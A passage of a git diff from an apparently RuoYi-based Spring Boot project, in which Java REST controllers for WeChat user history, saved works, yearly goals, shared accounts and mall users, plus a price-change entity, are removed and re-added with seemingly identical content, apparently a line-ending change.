+@RequestMapping("/work/wechatUser") +public class TpWechatUserController extends BaseController { + + private final ITpWechatUserService tpWechatUserService; + + /** + * 查询微信使用人修改历史列表 + */ + @SaCheckPermission("work:wechatUser:list") + @GetMapping("/list") + public TableDataInfo list(TpWechatUserBo bo, PageQuery pageQuery) { + return tpWechatUserService.queryPageList(bo, pageQuery); + } + + /** + * 导出微信使用人修改历史列表 + */ + @SaCheckPermission("work:wechatUser:export") + @Log(title = "微信使用人修改历史", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpWechatUserBo bo, HttpServletResponse response) { + List list = tpWechatUserService.queryList(bo); + ExcelUtil.exportExcel(list, "微信使用人修改历史", TpWechatUserVo.class, response); + } + + /** + * 获取微信使用人修改历史详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:wechatUser:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpWechatUserService.queryById(id)); + } + + /** + * 新增微信使用人修改历史 + */ + @SaCheckPermission("work:wechatUser:add") + @Log(title = "微信使用人修改历史", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpWechatUserBo bo) { + return toAjax(tpWechatUserService.insertByBo(bo)); + } + + /** + * 修改微信使用人修改历史 + */ + @SaCheckPermission("work:wechatUser:edit") + @Log(title = "微信使用人修改历史", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpWechatUserBo bo) { + return toAjax(tpWechatUserService.updateByBo(bo)); + } + + /** + * 删除微信使用人修改历史 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:wechatUser:remove") + @Log(title = "微信使用人修改历史", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpWechatUserService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWorksController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWorksController.java index ac58529..d488c03 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWorksController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpWorksController.java @@ -1,105 +1,105 @@ -package org.dromara.work.controller; - -import java.util.List; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.work.domain.vo.TpWorksVo; -import org.dromara.work.domain.bo.TpWorksBo; -import org.dromara.work.service.ITpWorksService; -import org.dromara.common.mybatis.core.page.TableDataInfo; - -/** - * 作品收藏 - * - * @author Maosw - * @date 2025-07-23 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/works") -public class TpWorksController extends BaseController { - - private final ITpWorksService tpWorksService; - - /** - * 查询作品收藏列表 - */ - @SaCheckPermission("work:works:list") - @GetMapping("/list") - public TableDataInfo list(TpWorksBo bo, PageQuery pageQuery) { - return tpWorksService.queryPageList(bo, pageQuery); - } - - /** - * 导出作品收藏列表 - */ - @SaCheckPermission("work:works:export") - @Log(title = "作品收藏", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpWorksBo bo, HttpServletResponse response) { - List list = tpWorksService.queryList(bo); - ExcelUtil.exportExcel(list, "作品收藏", TpWorksVo.class, response); - } - - /** - * 获取作品收藏详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:works:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpWorksService.queryById(id)); - } - - /** - * 新增作品收藏 - */ - @SaCheckPermission("work:works:add") - @Log(title = "作品收藏", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpWorksBo bo) { - return toAjax(tpWorksService.insertByBo(bo)); - } - - /** - * 修改作品收藏 - */ - @SaCheckPermission("work:works:edit") - @Log(title = "作品收藏", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpWorksBo bo) { - return toAjax(tpWorksService.updateByBo(bo)); - } - - /** - * 删除作品收藏 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:works:remove") - @Log(title = "作品收藏", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpWorksService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpWorksVo; +import org.dromara.work.domain.bo.TpWorksBo; +import org.dromara.work.service.ITpWorksService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 作品收藏 + * + * @author Maosw + * @date 2025-07-23 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/works") +public class TpWorksController extends BaseController { + + private final ITpWorksService tpWorksService; + + /** + * 查询作品收藏列表 + */ + @SaCheckPermission("work:works:list") + @GetMapping("/list") + public TableDataInfo list(TpWorksBo bo, PageQuery pageQuery) { + return tpWorksService.queryPageList(bo, pageQuery); + } + + /** + * 导出作品收藏列表 + */ + @SaCheckPermission("work:works:export") + @Log(title = "作品收藏", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpWorksBo bo, HttpServletResponse response) { + List list = tpWorksService.queryList(bo); + ExcelUtil.exportExcel(list, "作品收藏", TpWorksVo.class, response); + } + + /** + * 获取作品收藏详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:works:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpWorksService.queryById(id)); + } + + /** + * 新增作品收藏 + */ + @SaCheckPermission("work:works:add") + @Log(title = "作品收藏", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpWorksBo bo) { + return toAjax(tpWorksService.insertByBo(bo)); + } + + /** + * 修改作品收藏 + */ + @SaCheckPermission("work:works:edit") + @Log(title = "作品收藏", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpWorksBo bo) { + return toAjax(tpWorksService.updateByBo(bo)); + } + + /** + * 删除作品收藏 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:works:remove") + @Log(title = "作品收藏", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpWorksService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpYearController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpYearController.java index 73a013f..5fa086b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpYearController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpYearController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpYearBo; -import org.dromara.work.domain.vo.TpYearVo; -import org.dromara.work.service.ITpYearService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 年目标 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/year") -public class TpYearController extends BaseController { - - private final ITpYearService tpYearService; - - /** - * 查询年目标列表 - */ - @SaCheckPermission("work:year:list") - @GetMapping("/list") - public TableDataInfo list(TpYearBo bo, PageQuery pageQuery) { - return tpYearService.queryPageList(bo, pageQuery); - } - - /** - * 导出年目标列表 - */ - @SaCheckPermission("work:year:export") - @Log(title = "年目标", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpYearBo bo, HttpServletResponse response) { - List list = tpYearService.queryList(bo); - ExcelUtil.exportExcel(list, "年目标", TpYearVo.class, response); - } - - /** - * 获取年目标详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:year:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpYearService.queryById(id)); - } - - /** - * 新增年目标 - */ - @SaCheckPermission("work:year:add") - @Log(title = "年目标", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpYearBo bo) { - return toAjax(tpYearService.insertByBo(bo)); - } - - /** - * 修改年目标 - */ - @SaCheckPermission("work:year:edit") - @Log(title = "年目标", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpYearBo bo) { - return toAjax(tpYearService.updateByBo(bo)); - } - - /** - * 删除年目标 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:year:remove") - @Log(title = "年目标", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpYearService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpYearBo; +import org.dromara.work.domain.vo.TpYearVo; +import org.dromara.work.service.ITpYearService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 年目标 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/year") +public class TpYearController extends BaseController { + + private final ITpYearService tpYearService; + + /** + * 查询年目标列表 + */ + @SaCheckPermission("work:year:list") + @GetMapping("/list") + public TableDataInfo list(TpYearBo bo, PageQuery pageQuery) { + return tpYearService.queryPageList(bo, pageQuery); + } + + /** + * 导出年目标列表 + */ + @SaCheckPermission("work:year:export") + @Log(title = "年目标", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpYearBo bo, HttpServletResponse response) { + List list = tpYearService.queryList(bo); + ExcelUtil.exportExcel(list, "年目标", TpYearVo.class, response); + } + + /** + * 获取年目标详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:year:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpYearService.queryById(id)); + } + + /** + * 新增年目标 + */ + @SaCheckPermission("work:year:add") + @Log(title = "年目标", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpYearBo bo) { + return toAjax(tpYearService.insertByBo(bo)); + } + + /** + * 修改年目标 + */ + @SaCheckPermission("work:year:edit") + @Log(title = "年目标", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpYearBo bo) { + return toAjax(tpYearService.updateByBo(bo)); + } + + /** + * 删除年目标 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:year:remove") + @Log(title = "年目标", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpYearService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzSharedAccountController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzSharedAccountController.java index cde1209..4e5ac45 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzSharedAccountController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzSharedAccountController.java @@ -1,114 +1,114 @@ -package org.dromara.work.controller; - -import java.util.List; -import java.util.Map; - -import lombok.RequiredArgsConstructor; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.*; -import cn.dev33.satoken.annotation.SaCheckPermission; -import org.springframework.web.bind.annotation.*; -import org.springframework.validation.annotation.Validated; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.web.core.BaseController; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.work.domain.vo.TzSharedAccountVo; -import org.dromara.work.domain.bo.TzSharedAccountBo; -import org.dromara.work.service.ITzSharedAccountService; -import org.dromara.common.mybatis.core.page.TableDataInfo; - -/** - * 共享账号 - * - * @author Maosw - * @date 2025-05-06 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/sharedAccount") -public class TzSharedAccountController extends BaseController { - - private final ITzSharedAccountService tzSharedAccountService; - - /** - * 查询共享账号列表 - */ - @SaCheckPermission("work:sharedAccount:list") - @GetMapping("/list") - public TableDataInfo list(TzSharedAccountBo bo, PageQuery pageQuery) { - return tzSharedAccountService.queryPageList(bo, pageQuery); - } - - /** - * 共享账号统计 - */ - @SaCheckPermission("work:sharedAccount:list") - @GetMapping("/count") - public R> count(TzSharedAccountBo bo) { - return R.ok(tzSharedAccountService.queryCount(bo)); - } - /** - * 导出共享账号列表 - */ - @SaCheckPermission("work:sharedAccount:export") - @Log(title = "共享账号", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TzSharedAccountBo bo, HttpServletResponse response) { - List list = tzSharedAccountService.queryList(bo); - ExcelUtil.exportExcel(list, "共享账号", TzSharedAccountVo.class, response); - } - - /** - * 获取共享账号详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:sharedAccount:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tzSharedAccountService.queryById(id)); - } - - /** - * 新增共享账号 - */ - @SaCheckPermission("work:sharedAccount:add") - @Log(title = "共享账号", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TzSharedAccountBo bo) { - return toAjax(tzSharedAccountService.insertByBo(bo)); - } - - /** - * 修改共享账号 - */ - @SaCheckPermission("work:sharedAccount:edit") - @Log(title = "共享账号", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TzSharedAccountBo bo) { - return toAjax(tzSharedAccountService.updateByBo(bo)); - } - - /** - * 删除共享账号 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:sharedAccount:remove") - @Log(title = "共享账号", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tzSharedAccountService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import java.util.List; +import java.util.Map; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TzSharedAccountVo; +import org.dromara.work.domain.bo.TzSharedAccountBo; +import org.dromara.work.service.ITzSharedAccountService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 共享账号 + * + * @author Maosw + * @date 2025-05-06 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/sharedAccount") +public class TzSharedAccountController extends BaseController { + + private final ITzSharedAccountService tzSharedAccountService; + + /** + * 查询共享账号列表 + */ + @SaCheckPermission("work:sharedAccount:list") + @GetMapping("/list") + public TableDataInfo list(TzSharedAccountBo bo, PageQuery pageQuery) { + return tzSharedAccountService.queryPageList(bo, pageQuery); + } + + /** + * 共享账号统计 + */ + @SaCheckPermission("work:sharedAccount:list") + @GetMapping("/count") + public R> count(TzSharedAccountBo bo) { + return R.ok(tzSharedAccountService.queryCount(bo)); + } + /** + * 导出共享账号列表 + */ + @SaCheckPermission("work:sharedAccount:export") + @Log(title = "共享账号", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TzSharedAccountBo bo, HttpServletResponse response) { + List list = tzSharedAccountService.queryList(bo); + ExcelUtil.exportExcel(list, "共享账号", TzSharedAccountVo.class, response); + } + + /** + * 获取共享账号详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:sharedAccount:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tzSharedAccountService.queryById(id)); + } + + /** + * 新增共享账号 + */ + @SaCheckPermission("work:sharedAccount:add") + @Log(title = "共享账号", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TzSharedAccountBo bo) { + return toAjax(tzSharedAccountService.insertByBo(bo)); + } + + /** + * 修改共享账号 + */ + @SaCheckPermission("work:sharedAccount:edit") + @Log(title = "共享账号", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TzSharedAccountBo bo) { + return toAjax(tzSharedAccountService.updateByBo(bo)); + } + + /** + * 删除共享账号 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:sharedAccount:remove") + @Log(title = "共享账号", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tzSharedAccountService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzUserController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzUserController.java index d189584..384dc1d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzUserController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TzUserController.java @@ -1,124 +1,124 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import io.swagger.v3.oas.annotations.Parameter; -import io.swagger.v3.oas.annotations.Parameters; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TzUserBo; -import org.dromara.work.domain.vo.TzUserVo; -import org.dromara.work.service.ITzUserService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 用户 - * - * @author Lion Li - * @date 2024-07-30 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/mall/user") -public class TzUserController extends BaseController { - - private final ITzUserService tzUserService; - - /** - * 查询用户列表 - */ - @SaCheckPermission("mall:user:list") - @GetMapping("/list") - public TableDataInfo list(TzUserBo bo, PageQuery pageQuery) { - return tzUserService.queryPageList(bo, pageQuery); - } - - /** - * 导出用户列表 - */ - @SaCheckPermission("mall:user:export") - @Log(title = "用户", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TzUserBo bo, HttpServletResponse response) { - List list = tzUserService.queryList(bo); - ExcelUtil.exportExcel(list, "用户", TzUserVo.class, response); - } - - /** - * 获取用户详细信息 - * - * @param userId 主键 - */ - @SaCheckPermission("mall:user:query") - @GetMapping("/{userId}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long userId) { - return R.ok(tzUserService.queryById(userId)); - } - - /** - * 开启设计师开关 - * - * @param userPhone 主键 - */ - @SaCheckPermission("mall:user:switch") - @PostMapping("/switch") - @Parameters({ - @Parameter(name = "userPhone", description = "手机号码", required = true), - @Parameter(name = "status", description = "状态 1-开启 2-关闭", required = true) - }) - public R getInfo(@RequestParam(value = "userPhone") String userPhone, @RequestParam(value = "status") Integer status) { - return toAjax(tzUserService.queryByUserPhone(userPhone,status)); - } - - - /** - * 新增用户 - */ - @SaCheckPermission("mall:user:add") - @Log(title = "用户", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TzUserBo bo) { - return toAjax(tzUserService.insertByBo(bo)); - } - - /** - * 修改用户 - */ - @SaCheckPermission("mall:user:edit") - @Log(title = "用户", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TzUserBo bo) { - return toAjax(tzUserService.updateByBo(bo)); - } - - /** - * 删除用户 - * - * @param userIds 主键串 - */ - @SaCheckPermission("mall:user:remove") - @Log(title = "用户", businessType = BusinessType.DELETE) - @DeleteMapping("/{userIds}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable String[] userIds) { - return toAjax(tzUserService.deleteWithValidByIds(List.of(userIds), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.Parameters; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TzUserBo; +import org.dromara.work.domain.vo.TzUserVo; +import org.dromara.work.service.ITzUserService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 用户 + * + * @author Lion Li + * @date 2024-07-30 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/mall/user") +public class TzUserController extends BaseController { + + private final ITzUserService tzUserService; + + /** + * 查询用户列表 + */ + @SaCheckPermission("mall:user:list") + @GetMapping("/list") + public TableDataInfo list(TzUserBo bo, PageQuery pageQuery) { + return tzUserService.queryPageList(bo, pageQuery); + } + + /** + * 导出用户列表 + */ + @SaCheckPermission("mall:user:export") + @Log(title = "用户", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TzUserBo bo, HttpServletResponse response) { + List list = tzUserService.queryList(bo); + ExcelUtil.exportExcel(list, "用户", TzUserVo.class, response); + } + + /** + * 获取用户详细信息 + * + * @param userId 主键 + */ + @SaCheckPermission("mall:user:query") + @GetMapping("/{userId}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long userId) { + return R.ok(tzUserService.queryById(userId)); + } + + /** + * 开启设计师开关 + * + * @param userPhone 主键 + */ + @SaCheckPermission("mall:user:switch") + @PostMapping("/switch") + @Parameters({ + @Parameter(name = "userPhone", description = "手机号码", required = true), + @Parameter(name = "status", description = "状态 1-开启 2-关闭", required = true) + }) + public R getInfo(@RequestParam(value = "userPhone") String userPhone, @RequestParam(value = "status") Integer status) { + return toAjax(tzUserService.queryByUserPhone(userPhone,status)); + } + + + /** + * 新增用户 + */ + @SaCheckPermission("mall:user:add") + @Log(title = "用户", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TzUserBo bo) { + return toAjax(tzUserService.insertByBo(bo)); + } + + /** + * 修改用户 + */ + @SaCheckPermission("mall:user:edit") + @Log(title = "用户", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TzUserBo bo) { + return toAjax(tzUserService.updateByBo(bo)); + } + + /** + * 删除用户 + * + * @param userIds 主键串 + */ + @SaCheckPermission("mall:user:remove") + @Log(title = "用户", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable String[] userIds) { + return toAjax(tzUserService.deleteWithValidByIds(List.of(userIds), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpChangePrice.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpChangePrice.java index 2192085..2af54e3 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpChangePrice.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpChangePrice.java @@ -1,52 +1,52 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 改价配置对象 tp_change_price - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_change_price") -public class TpChangePrice extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 包含人员 - */ - private String sid; - - /** - * 改价金额 - */ - private Long price; - - /** - * 状态(1=开启,2=关闭) - */ - private Long state; - - /** - * 最后一次修改时间 - */ - private Long addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 改价配置对象 tp_change_price + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_change_price") +public class TpChangePrice extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 包含人员 + */ + private String sid; + + /** + * 改价金额 + */ + private Long price; + + /** + * 状态(1=开启,2=关闭) + */ + private Long state; + + /** + * 最后一次修改时间 + */ + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClient.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClient.java index b99f1d9..3e1c31b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpClient.java +++ 